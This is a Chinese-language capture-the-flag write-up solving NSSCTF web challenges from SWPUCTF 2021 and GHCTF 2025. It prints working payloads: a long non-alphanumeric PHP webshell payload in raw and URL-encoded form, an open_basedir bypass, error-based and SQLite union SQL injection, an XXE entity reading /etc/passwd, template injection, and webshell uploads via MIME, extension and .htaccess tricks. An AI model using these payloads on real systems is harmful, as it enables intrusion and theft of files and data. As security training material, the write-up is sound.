NSSCTF web wp 1
[NSSCTF] Web区 Write Up 1
SWPUCTF 2021 新生赛
[SWPUCTF 2021 新生赛]gift_F12
代码审计
直接在源码里看见了:
[SWPUCTF 2021 新生赛]easyupload1.0
打开是一个文件上传界面, 直接传 shell 被拦了
文件上传绕过
修改文件头类型就可以绕过了;
连接到终端, 有个 flag.php, 可惜不对:
枚举了一下发现在环境变量里: cat /proc/self/environ
[SWPUCTF 2021 新生赛]easyupload2.0
题解
跟上一题类似, 不过传 phtml 就行了:
1 | <script language="php"> |
上传成功不过不能执行, 可能是因为 php 版本 >= 7.0 (这种写法在 7.0 后被移除), 直接只传中间这一句就行了:
同样的方法就能找到flag:
[SWPUCTF 2021 新生赛]hardrce
代码审计
1 |
|
直接给出了 RCE 的接口, 其中黑名单过滤了大部分控制字符, 注意: {
}
~
.
()
%
没过滤, 那么这里应该是无字符 RCE
无字符 RCE 构造
1 | import urllib.parse |
注意 eval($a)
这样的语句中, 如果需要 $a
是函数名 + 参数的组合, 例如 system('whoami')
那么传入参数应该是 $a=(system)(whoami)
, 这里再分别取反即可, 这种括号分两段的方式也是 php eval 函数解析的特点;
别忘了分号;
执行
执行成功:
继续:
得到 flag
[SWPUCTF 2021 新生赛]hardrce_3
代码审计
1 |
|
跟刚刚差不多, 是一个显然的 RCE, 这次禁止了 ~
^
无字符 RCE 构造
总结一下无字符 RCE 的主要构造方式:
- 取反:
~
; - 异或:
^
; - 或:
|
; - 自增:
++
; - 临时文件: 反引号
那么这里应该是用自增;
自增马
用这个 payload:
1 | $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]); |
相当于传入了:
1 | eval(@_POST[_]); |
这样传参实际转移到了 POST 方法中, 而这里是没有 WAF 的;
URL 编码:
1 | %24%5F%3D%5B%5D%3B%24%5F%3D%40%22%24%5F%22%3B%24%5F%3D%24%5F%5B%27%21%27%3D%3D%27%40%27%5D%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%24%5F%5F%5F%5F%3B%24%5F%5F%5F%28%24%5F%5B%5F%5D%29%3B |
然后在 POST 里插入:
1 | _=eval($_POST['xxx'])&xxx |
传入成功:
用蚁剑连接这个地址, 密码就是 POST:
连上后回显 ret=127
, 说明极有可能限制了 php 函数; 不过用蚁剑的文件管理功能已经能读到 flag 了
突破 disable_function 限制
之前这道题里已经遇到过一次: [SUCTF 2019] easyweb
可以直接按照上面这个方法在根目录建一个 bypass.php, 或者也可以在 POST 中加入写文件指令:
1 | # _= |
再写一遍, 这个利用的原理就是写入一个 exploit.php 文件, 然后将
open_basedir
改为..
, 注意, 这是一个相对路径, 所以chdir('..')
会一直成功, 直到穿到根目录, 最后ini_set('open_basedir','/');
成功直接把访问范围扩大到根目录。
执行完毕后访问这个 php 文件, 即可读出 flag:
[SWPUCTF 2021 新生赛]error
报错注入
输个引号, 爆出错误, 是 MariaDB:
1 | -- 爆出库名: XPATH syntax error: '~test_db~' |
1 | -- 爆出表名: XPATH syntax error: '~test_tb,users~' |
1 | --爆出列名: XPATH syntax error: '~id,flag~' |
1 | -- 爆出 flag: |
说明被截断了:
1 | -- 分批次爆出 flag: 修改 SUBSTRING 的起点即可 |
拼起来: NSSCTF{73feb461-21b7-4017-8c10-c258c2eb1026}
[SWPUCTF 2021 新生赛]pop
代码审计
显然是一个反序列化的漏洞。不过这个漏洞要利用不能一步到位, 要后往前推构造一条利用链。
1 |
|
传入 $w00m
=> $w22m
=> $w33m
=> $w44m
:
具体来说:w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
构造 payload
1 |
|
提交:
GHCTF 2025 比赛
[GHCTF 2025]SQL
基本探测
拿到发现 URL 里是 GET 传参的 SQL 查询, 尝试:
1 | ?id=0 union select 1,2,3,4,5 order by 5-- |
接下来尝试 database()
时报错, 可能是 SQLite, 试试 select sql from sqlite_master
:
sqlite_master
表的结构包含以下几个字段:
- type: 记录项目的类型,如table、index、view、trigger。
- name: 记录项目的名称,如表名、索引名等。
- tbl_name: 记录所从属的表名,对于表来说,该列就是表名本身。
- rootpage: 记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL。
- sql: 记录创建该项目的SQL语句。
比如这个结构:
type | name | tbl_name | rootpage | sql |
---|---|---|---|---|
table | employees | employees | 2 | CREATE TABLEemployees(id INTEGER PRIMARY KEY, name TEXT, dept TEXT, salary REAL) |
table | departments | departments | 5 | CREATE TABLE departments(dept_id INTEGER, dept_name TEXT UNIQUE) |
index | sqlite_autoindex_departments_1 | departments | 8 | NULL (自动为 UNIQUE 约束创建的索引) |
index | idx_emp_salary | employees | 11 | CREATE INDEX idx_emp_salary ON employees(salary DESC) |
view | high_salary_emp | high_salary_emp | 0 | CREATE VIEW high_salary_emp AS SELECT * FROM employees WHERE salary > 10000 |
trigger | audit_emp_update | employees | 0 | CREATE TRIGGER audit_emp_update AFTER UPDATE ON employees BEGIN INSERT INTO audit_log VALUES(old.id, datetime(‘now’)); END |
SQlite 数字型注入
至此可以确定是 SQLite 数据库且几乎没有过滤, 根据刚刚的结果已经知道了有一张 flag 表, 其只有一列, 名为 flag”
1 | ?id=0 union select 1,group_concat(flag),3,4,5 from flag-- |
爆出 flag;
[GHCTF 2025] (>﹏<)
源码审计
简单的 flask 应用, 提供了读 xml 功能:
1 | from flask import Flask,request |
关键方法:
etree.XMLParser
是 lxml.etree 模块中的一个类,用于自定义 XML 解析行为。
1 | from lxml import etree |
resolve_entities=True 和 load_dtd=True 可能导致 XXE 漏洞。
XXE 漏洞
当上文两项都为 True, 将可以解析 XML 中的外部协议, 例如经典的 payload:
1 | <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
这里要 POST 传参, 那么将该 XML payload URL 编码后传入即可:
[GHCTF 2025]Message in a Bottle plus
题解
打开是个留言板, 尝试 SQL 注入无果, SSTI 发现 {}
()
均被过滤了, 根据题目名字想到 bottle 模板:
Bottle 模板中 (SimpleTemplate), 行首的 %
表示 Python 语句, 仅执行, {{ ... }}
表示 Python 表达式, 而普通字符串会被原样输出。
需要注意的是, 由 <div>
+ </div>
或者 """
包裹的字符串会被视为普通字符串, 然而其中包含的 % expression
语句依然会被解析, 这里尖括号被过滤, 因此使用这个 payload 就可以绕过:
1 | """ |
[GHCTF 2025]UPUPUP
题解
打开发现是个文件上传界面, 那还是老规矩, 直接传 shell.php 是不行的, 尝试改文件头, 依然不行, 可能是文件后缀做了黑名单, 只能传个 shell.jpg 上去:
.php3
,.phtml
等也被拦了;
那么下一步考虑一下能不能传 .htaccess
:
直接上传不允许, 修改包里的文件类型并加个前缀后就通过了;
并且两个文件在同一个目录下, 那可以直接蚁剑连上;
做到这里金币花完了, 过几天继续好了。
